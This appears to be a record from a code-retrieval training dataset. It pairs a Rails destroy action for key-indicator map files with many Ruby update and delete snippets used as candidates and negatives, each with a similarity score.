end\n end", "def update\n @product_bulletin = ProductBulletin.find(params[:id])\n\n respond_to do |format|\n unless params[:bulletin_files].blank?\n params[:bulletin_files]['file'].each do |a|\n @bulletin_file = @product_bulletin.bulletin_files.create!(:file => a, :product_bulletin_id => @product_bulletin.id)\n end\n end\n if @product_bulletin.update_attributes(params[:product_bulletin])\n format.html { redirect_to @product_bulletin, notice: 'Product bulletin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product_bulletin.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @action_file = ActionFile.find(params[:id])\n\n respond_to do |format|\n if @action_file.update_attributes(params[:action_file])\n format.html { redirect_to @action_file, notice: 'Action file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @action_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cadsr_marker.update(marker_cadsr_params)\n format.html { redirect_to @cadsr_marker, notice: 'Marker cadsr was successfully updated.' }\n format.json { render :show, status: :ok, location: @cadsr_marker }\n else\n format.html { render :edit }\n format.json { render json: @cadsr_marker.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @money_arrival_file.update(money_arrival_file_params)\n format.html { redirect_to @money_arrival_file, notice: 'Money arrival file was successfully updated.' }\n format.json { render :show, status: :ok, location: @money_arrival_file }\n else\n format.html { render :edit }\n format.json { render json: @money_arrival_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @audio_map.update(audio_map_params)\n format.html { redirect_to @audio_map, notice: 'Audio map was successfully updated.' }\n format.json { render :show, status: :ok, location: @audio_map }\n else\n format.html { render :edit }\n format.json { render json: @audio_map.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "def update\n @super_file = SuperFile.find(params[:id])\n\n respond_to do |format|\n if @super_file.update_attributes(params[:super_file])\n format.html { redirect_to @super_file, notice: 'Super file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @super_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @avro_file_format = args[:avro_file_format] if args.key?(:avro_file_format)\n @file_rotation_interval = args[:file_rotation_interval] if args.key?(:file_rotation_interval)\n @file_rotation_mb = args[:file_rotation_mb] if args.key?(:file_rotation_mb)\n @json_file_format = args[:json_file_format] if args.key?(:json_file_format)\n @path = args[:path] if args.key?(:path)\n end", "def update\n @resource_file = ResourceFile.find(params[:id])\n\n respond_to do |format|\n if @resource_file.update_attributes(params[:resource_file])\n format.html { redirect_to @resource_file, notice: 'Resource file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @closeinf = Closeinf.find(params[:id])\n\n respond_to do |format|\n \n # 更新客户端传入的交底参照信息,获得详细的更新信息\n require 'helpers/File'\n params[:closeinf][:user_id] = params[:user][:username]\n params[:closeinf][:project_id] = params[:project][:projname]\n params[:closeinf][:closeinf_type_id] = params[:close_type][:closetypename]\n file_temp = params[:img_file]\n \n #判定上传文件是否为空,为空,则不进行attribute_update,我们在程序模拟中必须注意到程序本身带来的不好的地方。\n if file_temp != nil\n params[:closeinf][:closedtl], params[:closeinf][:file_path] = upload(file_temp, 'close')\n begin\n File.delete('public/uploads/everydaycheck/' + @everyday_check.file_path)\n rescue Exception => e\n puts 'Error happened in everydaycheck'\n else\n #do nothing\n end\n end\n \n if @closeinf.update_attributes(params[:closeinf])\n format.html { redirect_to @closeinf, notice: 'Closeinf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @closeinf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @map_marker = MapMarker.find(params[:id])\n\n respond_to do |format|\n if @map_marker.update_attributes(params[:map_marker])\n format.html { redirect_to @map_marker, notice: 'Map marker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @map_marker.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @image_label_set.update(image_label_set_params)\n format.html { redirect_to @image_label_set, notice: 'Image label set was successfully updated.' }\n format.json { render :show, status: :ok, location: @image_label_set }\n else\n format.html { render :edit }\n format.json { render json: @image_label_set.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6834086", "0.6758704", "0.6632669", "0.6277231", "0.5995237", "0.59481645", "0.59226865", "0.575027", "0.5668214", "0.563646", "0.5607483", "0.5581408", "0.5570466", "0.5543815", "0.55378723", "0.550864", "0.54820126", "0.54721797", "0.545447", "0.5443919", "0.5437441", "0.541842", "0.54070497", "0.54014534", "0.5399454", "0.53944397", "0.5393938", "0.53927654", "0.5387565", "0.53473777", "0.53242755", "0.5321833", "0.5320682", "0.5319234", "0.5288866", "0.52792627", "0.5255991", "0.52447253", "0.5239097", "0.5228406", "0.52247715", "0.5224235", "0.5209201", "0.5195956", "0.5185226", "0.5184923", "0.51760405", "0.5146819", "0.5128696", "0.51256657", "0.5120021", "0.51040995", "0.5103706", "0.5100382", "0.5097617", "0.50963694", "0.5096361", "0.5095058", "0.50907755", "0.50801134", "0.50799924", "0.5070446", "0.5059106", "0.5057839", "0.50565827", "0.50537026", "0.5049287", "0.50492066", "0.50411916", "0.5034769", "0.50332975", "0.5031975", "0.50290895", "0.5027622", "0.50266105", "0.5025797", "0.50211143", "0.5020115", "0.50193846", "0.5017456", "0.50163925", "0.50155663", "0.5015206", "0.5011453", "0.501097", "0.5004458", "0.50036156", "0.49974334", "0.49907783", "0.49896485", "0.49868715", "0.4985207", "0.49849537", "0.49842662", "0.49812582", "0.49677798", "0.49661195", "0.49654552", "0.4965174", "0.49645987" ]
0.69110155
0
DELETE /key_indicate_map/indicator_files/1 DELETE /key_indicate_map/indicator_files/1.json
def destroy year = @key_indicate_map_indicator_file['year'].to_s KeyIndicateMap::IndicatorKey.each{|key| if !key['history'].nil? && !key['history'][year].nil? attrs = {:history => key['history'].reject{|key, value| key == year }} key.update_attributes(attrs) end } @key_indicate_map_indicator_file.destroy respond_to do |format| format.js {} format.json { head :no_content, status: :destroy } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @key_indicate_map_indicator.destroy\n respond_to do |format|\n format.html { redirect_to key_indicate_map_indicators_url, notice: 'Indicator was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @key_indicate_map_indicator_key.destroy\n respond_to do |format|\n format.js\n format.json { head :no_content }\n end\n end", "def delete(uuid, key)\n request(method: 'DELETE', uri: \"/files/#{uuid}/metadata/#{key}/\")\n end", "def delete(key)\n log \"deleting #{key} from #{container_path}\"\n object_path = File.join(container_path, Raca::Util.url_encode(key))\n response = storage_client.delete(object_path)\n (200..299).cover?(response.code.to_i)\n end", "def b2_delete_file(file)\n\n if parse_files_json(file) == {}\n\n puts \"File not present\"\n\n else\n \n result_hash = convert_json(b2_delete_file_version(file))\n\n if result_hash[\"fileName\"] == file\n puts \"File deleted successfully\"\n else\n puts \"Error deleting file\"\n end\n\n end\n\nend", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def delete_file(path)\n \n puts \"Sending path via MCollective Files client\"\n @mc.delete(:path => path)\n printrpcstats\n \n end", "def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end", "def delete(key)\n instrument :delete, key: key do\n map = find_map_by_key(key)\n if map\n client.image.image_delete(map.imgur_id)\n map.destroy!\n end\n end\n end", "def delete\n NamedMap.stats_aggregator.timing('named-map.delete') do\n response = self.class.http_client.delete( url + '?api_key=' + @parent.api_key,\n {\n headers: @parent.headers,\n ssl_verifypeer: @parent.verify_cert,\n ssl_verifyhost: @parent.verify_host,\n followlocation: true,\n connecttimeout: HTTP_CONNECT_TIMEOUT,\n timeout: HTTP_REQUEST_TIMEOUT\n } )\n raise HTTPResponseError, \"DELETE:#{response.code} #{response.request.url} #{response.body}\" unless response.code == 204\n end\n end", "def destroy\r\n @location = Location.find(params[:id])\r\n RemovedLocation.create(server_id: Integer(params[:id]))\r\n directory = Rails.root.join('app','assets','locations');\r\n\r\n path = File.join(directory, @location.image)\r\n File.delete(path)\r\n @location.destroy\r\n mv = MapsVersion.first\r\n mv.version = mv.version+1\r\n mv.save\r\n respond_to do |format|\r\n format.html { redirect_to locations_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end", "def delete(key)\n\n end", "def delete(_url)\n # do nothing since we can't find the key by url\n end", "def destroy\n @indicator.destroy\n respond_to do |format|\n format.html { redirect_to indicators_url }\n format.json { head :no_content }\n end\n end", "def delete_file(file_name)\n fail 'No Structure ID defined for structure. Can\\'t delete file' if @structure.id.nil?\n\n data = Hashie::Mash.new\n data.structure_id = @structure.id\n data.file_name = file_name\n\n push_file('api/remove_file', MultiJson.dump(data))\n end", "def delete_and_give_me_a_json(additional_path, params = nil)\n if self.service_base_path != nil\n if params == nil\n params = Hash.new\n end\n params[:api_key] = self.access_token\n message = self.http_client.delete \"#{self.base_url}#{self.service_base_path}/#{additional_path}.json\", params\n trata_erro(message.content)\n end\n end", "def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end", "def delete_key(key)\n end", "def delete(bucket, file); end", "def delete(key); end", "def delete(key); end", "def delete(key); end", "def delete(key); end", "def delete(key); end", "def delete(filename); end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def deleteFile(bucket, file, client)\n\tfilename = File.basename(file)\n\tbegin\n\t \tresp = client.client.delete_objects({\n\t \t\tbucket: bucket,\n\t\t\tdelete: { objects: [\n\t\t\t\t{ key: filename }\n\t\t\t],\n\t\t\tquiet: false }\n\t\t})\n\trescue Exception => e\n\t\tputs \"Wrong file name\"\n\t\tputs e\n\t\texit\n\tend\n\treturn resp\nend", "def delete\n @mapper.delete(@remote_key)\n\n forget\n end", "def delete(file_path)\n file_name = File.basename(file_path)\n object = @bucket.objects[file_name]\n object.delete\n end", "def delete(key)\n\n # FIXME: insert code that connects to the backend and affects the delete\n # operation\n #\n # - This delete should be done atomically\n # - Convert any exceptions into a failed status result with a meaningful\n # error message.\n #\n\n { :result => false, :err_msg => 'FIXME: not implemented' }\n end", "def delete_one(file)\n files_collection.find(:_id => file.id).delete_one\n chunks_collection.find(:files_id => file.id).delete_many\n end", "def destroy\n @indication_generic_map.destroy\n respond_to do |format|\n format.html { redirect_to indication_generic_maps_url, notice: 'Indication generic map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n unless FileDescriptor.exists?(filename: params[:fname])\n fpath = filePath params[:fname]\n begin\n File.delete fpath\n result = {status: 'ok'}\n status = 200\n rescue Exception => e\n result = {status: 'error', message: e.message}\n status = 500\n end\n else\n result = {status: 'error', message: 'File is open'}\n status = 403 # Forbidden\n end\n render json: result.to_json, status: status\n end", "def destroy\n @indicator.destroy\n respond_to do |format|\n format.html { redirect_to indicators_url, notice: 'El indicador fue eliminada con exitó.' }\n format.json { head :no_content }\n end\n end", "def delete(key)\n configuration.hpath_delete.tap do |result|\n save if sync_down\n end\n end", "def custom_destroy\n if Key.where(role: \"admin\").pluck(:key).include? params[:key]\n @flatfiles = Flatfile.filtered(filter_params)\n @flatfiles.destroy_all\n else\n render json: \"Unauthorized\"\n end\nend", "def destroy\n @indexed_file = IndexedFile.find(params[:id])\n @indexed_file.destroy\n\n respond_to do |format|\n format.html { redirect_to indexed_files_url }\n format.json { head :no_content }\n end\n end", "def batch_delete(uuids)\n body = uuids.to_json\n request_delete(uri: '/files/storage/', content: body)\n end", "def delete(command)\n pp @client.files.delete(clean_up(command[1]))\n end", "def delete_api_key(key, request_options = {})\n client.delete(Protocol.index_key_uri(name, key), :write, request_options)\n end", "def delete(path)\n path = format_path(path)\n bucket_path = get_bucket_path(path)\n date = gmtdate\n headers = {\n 'Host' => @aliyun_upload_host,\n 'Date' => date,\n 'Authorization' => sign('DELETE', bucket_path, '', '', date)\n }\n url = path_to_url(path)\n response = RestClient.delete(url, headers)\n response.code == 204 ? url : nil\n end", "def deleteFileFromServer(filepath)\n filepath = filepath[1, filepath.length - 1] \n address = @@host + \"/user/\" + @@conf[\"username\"] + \"/device/\" + @@conf[\"dev_name\"] + \"/files/\" + filepath\n \n res = HttpRequest.new(:delete, address).send(@@host) \n puts res\n puts \"CODE: \" + res.code\n\nend", "def destroy\n \n @attachment = Attachment.find(params[:attachment_id])\n @attachment.destroy\n Keys.where(attachment_id: @attachment.id).destroy_all\n GetModel(params[:type]).where(file_id: @attachment.id).destroy_all\n \n respond_to do |format| \n format.html { redirect_to '/imports/'+params[:profile_id].to_s+'/csv/'+params[:type].to_s,notice: 'File has been deleted!' }\n end\n \n end", "def destroy\n @incidentfile.destroy\n respond_to do |format|\n format.html { redirect_to incidentfiles_url, notice: 'Incidentfile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @key_indicate_dictionary.destroy\n respond_to do |format|\n format.html { redirect_to key_indicate_dictionaries_url, notice: 'Dictionary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_service_files(resource)\n file get_service_script_name(resource) do\n action :delete\n only_if { get_service_script_name != nil }\n end\nend", "def destroy\n @indicator_set = IndicatorSet.find(params[:id])\n @indicator_set.destroy\n\n respond_to do |format|\n format.html { redirect_to indicator_sets_url }\n format.json { head :no_content }\n end\n end", "def delete_from_disk; end", "def delete(key)\n response = request(:delete, uri(key))\n if response.status == 200\n data = MultiJson.load(response.body)\n data[S_PREV_VALUE]\n else\n nil\n end\n end", "def destroy\n @datafile.destroy\n respond_to do |format|\n format.html { redirect_to datafiles_url }\n format.json { head :no_content }\n end\n end", "def delete\n super \"/templates/#{template_id}.json\", {}\n end", "def remove_file(id)\n\n # Get file name\n file_name = \"#{Repository.data_dir}#{id}.json\"\n\n\t\t# Check if file exists\n\t\tif File.exists?(file_name)\n\t\t\t# if so delete\n\t\t\tFile.delete(file_name)\n\t\telse\n\t\t\tDebug.add(\"[WARNING] #{id}.json not found\")\n\t\tend\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def delete(key)\n perform_delete(:delete, key)\n end", "def test_delete1()\n key = \"_Delete1\"\n c = Scalaroid::JSONConnection.new(url = Scalaroid::DEFAULT_URL)\n rdht = Scalaroid::ReplicatedDHT.new(conn = c)\n sc = Scalaroid::TransactionSingleOp.new(conn = c)\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n\n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(4, ok)\n results = rdht.get_last_delete_result()\n assert_equal(4, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n\n # try again (should be successful with 0 deletes)\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(4, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n\n c.close()\n end", "def delete_files(uuids)\n Uploadcare::FileList.batch_delete(uuids)\n end", "def destroy\n respond_to do |format|\n @data_dictionary.update_columns( :del_flg => 1)\n format.html { redirect_to data_dictionaries_path(:dictid => @data_dictionary.parent_code), notice: 'Data dictionary was successfully destroyed.' }\n format.json { head :no_content }\n end\n \n end", "def destroy\n #FIXME: Double check auth is working for deletion. Also, maybe should only delete if not associated with any experiments.\n @data_file.destroy\n \n respond_to do |format|\n format.html { redirect_to(data_files_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n Client.transaction do\n FileUtils.rm Dir[\"#{Rails.root}/public/files/logo_files/\"[email protected]_s]\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully deleted.' }\n format.json { head :no_content }\n end\n end\n end", "def delete(*key_list)\n first_keys, last_key = split_keys(key_list)\n data = fetch_data(first_keys)\n data.__delete__(last_key) if data.__key__?(last_key)\n end", "def destroy\n @hdfs_path = HdfsPath.find(params[:id])\n @hdfs_path.destroy\n\n respond_to do |format|\n format.html { redirect_to hdfs_paths_url }\n format.json { head :ok }\n end\n end", "def destroy\n @map.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete_file(filename)\n http.delete([204,404], luwak, escape(filename))\n true\n end", "def bucket_delete_object(key)\n http.delete(\"/#{key}\", bucket: bucket, key: key)\n end", "def delete_file(filename,repo)\n curl_delete(\"#{self.host}/api2/repos/#{repo}/file/?p=#{filename}\").body_str\n end", "def delete_by_filename(filename)\n result = find_by_filename(filename)\n \n if result.count > 1\n success = true\n result.each { |r| success = false unless delete(r['_id']) }\n success\n else\n result.blank? ? false : delete(result.first['_id'])\n end\n end", "def delete_multiple(keys = [])\n verify_connection_url\n\n keys.each { |key| delete key }\n end", "def delete\n conn.delete(escaped_path)\n true\n rescue StandardError => e\n puts \"carrierwave-upyun delete failed: #{e.inspect}\"\n nil\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete(key)\n responsible_clients(key).each do |v|\n with_retries { v.logical.delete(wrap_key(key)) }\n end\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end", "def delete\n File.delete(header_file_full_path)\n File.delete(data_file_full_path)\n end", "def call(id)\n client.delete(\"/api/rest/v1/api_keys/#{id}.json\")\n true\n end", "def delete(key)\n timeout_retry(3, 3){\n write \"DEL #{key}\\r\\n\"\n integer_reply == 1\n }\n end", "def delete_metadata(key_name)\n requires :id\n service.delete_snapshot_metadata(id, key_name)\n true\n end", "def destroy\n @indicator_federation.destroy\n respond_to do |format|\n format.html { redirect_to @indicator_federation.indicator}\n format.json { head :no_content }\n end\n end", "def destroy\n @indicator_value.destroy\n respond_to do |format|\n format.html { redirect_to indicator_values_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @smallmap = Smallmap.find(params[:id])\n @smallmap.destroy\n\n respond_to do |format|\n format.html { redirect_to smallmaps_url }\n format.json { head :no_content }\n end\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def delete(path_info)\n @file_store.delete path_info\n\n @bucket.objects[gem_object_name(path_info)].delete\n end", "def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end", "def delete_current_presentation(file_id, user)\n delete_url = \"https://www.googleapis.com/drive/v2/files/#{file_id}\"\n headers = { 'Authorization': \"Bearer #{user.google_access_token}\", 'Content-type': 'application/json' }\n rest_resource = RestClient::Resource.new(delete_url, :headers => headers)\n rest_resource.delete\n end", "def delete_prefixed(prefix)\n instrument :delete_prefixed, prefix: prefix do\n maps = ActiveStorage::ImgurKeyMapping.by_prefix_key(prefix)\n maps.each do |map|\n client.image.image_delete(map.imgur_id)\n map.destroy!\n end\n end\n end", "def b2_delete_file_version(file)\n\n auth_hash = convert_json(b2_authorize_account)\n api_url = auth_hash[\"apiUrl\"]\n account_authorization_token = auth_hash[\"authorizationToken\"]\n\n file_hash = parse_files_json(file)\n file_name = file\n file_id = file_hash[file]\n\n uri = URI(\"#{api_url}/b2api/v1/b2_delete_file_version\")\n req = Net::HTTP::Post.new(uri)\n req.add_field(\"Authorization\",\"#{account_authorization_token}\")\n req.body = \"{\\\"fileName\\\":\\\"#{file_name}\\\", \\\"fileId\\\":\\\"#{file_id}\\\"}\"\n http = Net::HTTP.new(req.uri.host, req.uri.port)\n http.use_ssl = true\n res = http.start {|http| http.request(req)}\n\n case res\n when Net::HTTPSuccess then res.body\n when Net::HTTPRedirection then fetch(res['location'], limit - 1)\n else res.error!\n end\n\nend", "def delete_file storage_file_path\n @bucket.file(storage_file_path).delete if @bucket.file storage_file_path\n end", "def delete_file storage_file_path\n @bucket.file(storage_file_path).delete if @bucket.file storage_file_path\n end", "def testDelete1()\n key = \"_Delete1\"\n c = Scalaris::JSONConnection.new(url = Scalaris::DEFAULT_URL)\n rdht = Scalaris::ReplicatedDHT.new(conn = c)\n sc = Scalaris::TransactionSingleOp.new(conn = c)\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n sc.write(@testTime.to_s + key + i.to_s, $_TEST_DATA[i])\n end\n \n # now try to delete the data:\n (0..($_TEST_DATA.length - 1)).each do |i|\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(4, ok)\n results = rdht.get_last_delete_result()\n assert_equal(4, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(0, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n \n # try again (should be successful with 0 deletes)\n ok = rdht.delete(@testTime.to_s + key + i.to_s)\n assert_equal(0, ok)\n results = rdht.get_last_delete_result()\n assert_equal(0, results.ok)\n assert_equal(0, results.locks_set)\n assert_equal(4, results.undefined)\n _checkKeyDoesNotExist(@testTime.to_s + key + i.to_s)\n end\n \n c.close()\n end", "def file_delete(path)\n params = {\n \"root\" => @root,\n \"path\" => format_path(path, false),\n }\n response = @session.do_post build_url(\"/fileops/delete\", params)\n parse_response(response)\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @mapimage.destroy\n respond_to do |format|\n format.html { redirect_to mapimages_url, notice: 'Mapimage was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n connection.delete(\"/#{URI.escape(@key)}\", @bucket_name)\n end", "def destroy\n @tinymap = Tinymap.find(params[:id])\n @tinymap.destroy\n\n respond_to do |format|\n format.html { redirect_to tinymaps_url }\n format.json { head :no_content }\n end\n end", "def rm(*path)\n super; on_success{ nil }\n end", "def destroy\n @file_info = FileInfo.find(params[:id])\n @file_info.destroy\n\n respond_to do |format|\n format.html { redirect_to file_infos_url }\n format.json { head :no_content }\n end\n end", "def delete(path)\n path = self.class.path(path).to_s\n zip.fopen(path).delete\n entries.delete(path)\n end" ]
[ "0.6914691", "0.6685721", "0.66480047", "0.64276147", "0.6400769", "0.6387019", "0.6386406", "0.63785565", "0.63294405", "0.62385285", "0.6215934", "0.61841404", "0.60876375", "0.6071649", "0.6021739", "0.6012763", "0.5966819", "0.5965109", "0.5964459", "0.59622705", "0.5953438", "0.5932244", "0.5932244", "0.5932244", "0.5932244", "0.5932244", "0.59280896", "0.5914079", "0.59110475", "0.59084684", "0.5903401", "0.5897742", "0.5884608", "0.58818483", "0.58809596", "0.58770525", "0.5866794", "0.5849362", "0.5848173", "0.5843699", "0.584319", "0.5836103", "0.5829022", "0.58284146", "0.5818597", "0.5808962", "0.58013827", "0.5794614", "0.5789722", "0.57762223", "0.5775143", "0.5772551", "0.57688123", "0.5767245", "0.5753109", "0.57456005", "0.5737477", "0.57366246", "0.57361937", "0.57272536", "0.5726807", "0.57212764", "0.57189614", "0.5712079", "0.57110035", "0.57107025", "0.57095337", "0.5703469", "0.57024693", "0.5700368", "0.56978065", "0.5697387", "0.569417", "0.56859195", "0.5684006", "0.56808865", "0.567582", "0.5672061", "0.5671262", "0.56705624", "0.567016", "0.5665829", "0.5663715", "0.5660173", "0.56563234", "0.56554145", "0.56550425", "0.56483984", "0.5644975", "0.5644975", "0.5644407", "0.56394184", "0.56392825", "0.5638712", "0.5634977", "0.56307477", "0.5628827", "0.5628298", "0.5626221", "0.5622755" ]
0.66440237
3
Use callbacks to share common setup or constraints between actions.
def set_key_indicate_map_indicator_file @key_indicate_map_indicator_file = KeyIndicateMap::IndicatorFile.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: 